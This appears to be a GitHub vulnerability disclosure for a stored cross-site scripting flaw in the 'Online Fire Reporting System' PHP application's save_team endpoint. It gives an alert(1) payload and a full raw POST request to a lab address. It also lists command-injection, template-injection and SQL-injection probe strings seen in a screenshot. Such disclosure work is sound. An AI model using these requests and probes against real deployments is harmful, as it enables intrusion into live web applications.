

🔑 main ▾

...

0525 / online-fire-reporting-system / xss.md



mikeccltt Update xss.md

🕒 History

👤 1 contributor

53 lines (38 sloc) | 1.76 KB

...

online-fire-reporting-system - Cross-site Scripting (XSS)

vendors: <https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /ofrs/classes/Master.php

Vulnerability location: /ofrs/classes/Master.php?f=save_team, code

[+] Payload: <sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

```
POST http://192.168.2.102/ofrs/classes/Master.php?f=save_team HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=-----
```

-12232441784418479012629232838

Content-Length: 660

Origin: http://192.168.2.102

Connection: close

Referer: http://192.168.2.102/ofrs/admin/?page=teams/manage_team&id=6

Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

-----12232441784418479012629232838

Content-Disposition: form-data; name="id"

6

-----12232441784418479012629232838

Content-Disposition: form-data; name="code"

<script>alert(1)</script>

-----12232441784418479012629232838

Content-Disposition: form-data; name="leader_name"

asd

-----12232441784418479012629232838

Content-Disposition: form-data; name="leader_contact"

asd

-----12232441784418479012629232838

Content-Disposition: form-data; name="members"

asd

-----12232441784418479012629232838--

The screenshot displays a web application interface on the left and a Burp Suite HTTP history window on the right.

Web Application Interface:

- URL: 192.168.2.102/ofrs/admin/?page=teams
- Page Title: Online Fire Reporting System - Admin
- Left Sidebar: Contains navigation links for Dashboard, Control Teams, Requests, Maintenance, Daily Report, User List, Contact Info, and Settings.
- Main Content Area: Titled 'List of Teams', it shows a table with 10 entries. The table has columns for #, Date Created, Code, Team Leader, and Member.

Table Data (List of Teams):

#	Date Created	Code	Team Leader	Member
1	2022-05-25 20:22	\$(var_dump(md5(635512003)));	asd	asd
2	2022-05-25 20:22	/*1*/(B16823061+814940159)	asd	asd
3	2022-05-25 20:22	<%- 981727899+934004542 %>	asd	asd
4	2022-05-25 20:22	asd expr 975986009 + 942074791	asd	asd
5	2022-05-25 20:22	asd	asd/expr 855102498 + 956075040	asd
6	2022-05-25 20:22	asd"and/*"/extractvalue(1,concat(char(126),md5(1320209940)))and"	asd	asd
7	2022-05-25 20:22	asd\$(expr 862359262 + 822129881)	asd	asd
8	2022-05-25 20:22	asd\$isset /A 969118163+883505261	asd	asd
9	2022-05-25 20:22	asd'and'd'='u	asd	asd
10	2022-05-25 20:22	asd'and'f'='p	asd	asd

Showing 1 to 10 of 18 entries

Burp Suite HTTP History Window:

- Target: 192.168.2.102
- Filter: Hiding CSS, image and general binary content
- Table columns: #, Host, Method, URL, Params, Edited, Status, Length, MIME t..., Extension, Title